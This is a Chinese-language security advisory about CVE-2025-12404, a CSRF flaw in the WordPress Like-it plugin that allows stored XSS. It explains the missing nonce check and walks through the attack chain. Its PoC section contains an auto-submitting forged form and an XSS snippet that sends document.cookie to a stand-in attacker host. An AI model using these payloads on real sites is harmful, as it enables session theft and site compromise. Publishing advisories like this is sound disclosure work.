CVE-2025-12404 CVSS 6.1 中危

CVE-2025-12404 WordPress Like-it插件CSRF漏洞导致XSS注入

披露日期: 2025-11-18

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-12404

漏洞类型

CSRF (跨站请求伪造)

CVSS评分

6.1 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

WordPress Like-it插件

漏洞概述

CVE-2025-12404是WordPress的Like-it插件中存在的一个跨站请求伪造(CSRF)漏洞。该漏洞影响该插件2.2及以下所有版本，源于likeit_conf()函数缺少或存在错误的nonce验证机制。攻击者可以利用此漏洞构造恶意请求，诱导已登录的网站管理员点击特制链接，从而在不知情的情况下更新插件设置并注入恶意Web脚本。由于WordPress插件通常以管理员权限运行，攻击成功后将可能导致存储型XSS攻击，影响所有访问该网站的用户。此漏洞无需认证即可发起，但需要管理员交互（点击链接）才能完成攻击。CVSS 3.1评分为6.1，属于中等严重程度，主要影响系统的完整性和机密性。

技术细节

该漏洞的根本原因在于Like-it插件的likeit_conf()函数未正确实现WordPress的nonce安全验证机制。WordPress推荐使用wp_verify_nonce()函数验证请求来源，确保表单提交是由合法用户在本站点内发起。然而，该插件的likeit_conf()函数缺少必要的nonce检查，使得攻击者可以伪造请求并以管理员身份执行操作。攻击者需要构造一个包含恶意参数的表单，当管理员访问该表单时（通常通过钓鱼链接或社交工程），浏览器会自动提交表单到目标网站的wp-admin/admin-post.php或其他处理端点。由于浏览器会自动携带目标站点的Cookies，服务器会认为这是一个合法的管理员操作。成功利用后，攻击者可修改插件配置（如允许的HTML标签、CSS样式等），进而注入恶意JavaScript代码到页面中，实现存储型XSS攻击。

攻击链分析

STEP 1

步骤1

攻击者识别目标网站使用的Like-it插件及其版本，确认版本≤2.2

STEP 2

步骤2

攻击者分析likeit_conf()函数代码，发现缺少nonce验证逻辑

STEP 3

步骤3

攻击者构造包含恶意配置参数的HTML表单（如注入JavaScript的CSS或HTML）

STEP 4

步骤4

攻击者通过钓鱼邮件、即时消息或社交工程手段诱导管理员访问该恶意页面

STEP 5

步骤5

管理员浏览器自动提交伪造请求并携带有效Cookies到目标服务器

STEP 6

步骤6

服务器因缺少nonce验证而接受请求，更新插件配置

STEP 7

步骤7

恶意脚本被存储在数据库中，所有访问相关页面的用户都会触发XSS

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CSRF PoC for CVE-2025-12404: Like-it Plugin Configuration Change -->
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf-form">
    <input type="hidden" name="action" value="likeit_conf" />
    <input type="hidden" name="likeit_button_text" value="Click me" />
    <input type="hidden" name="likeit_custom_css" value="img { background: url('javascript:alert(document.cookie)'); }" />
    <!-- Add other configuration parameters as needed -->
</form>
<script>
    document.getElementById('csrf-form').submit();
</script>
</body>
</html>

<!-- Stored XSS PoC (after CSRF successfully modifies settings) -->
<!-- Attacker injects malicious JavaScript through the vulnerable configuration -->
<script>
    // Malicious code to steal admin session or deface site
    fetch('https://attacker-site.com/steal?cookie=' + document.cookie);
</script>

影响范围

WordPress Like-it plugin ≤ 2.2

防御指南

临时缓解措施

作为临时缓解措施，网站管理员应提高安全意识，不点击来自不可信来源的链接，尤其是要求执行管理操作的链接。可考虑临时禁用Like-it插件直到官方发布安全更新，同时监控网站日志以发现异常的插件配置变更请求。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表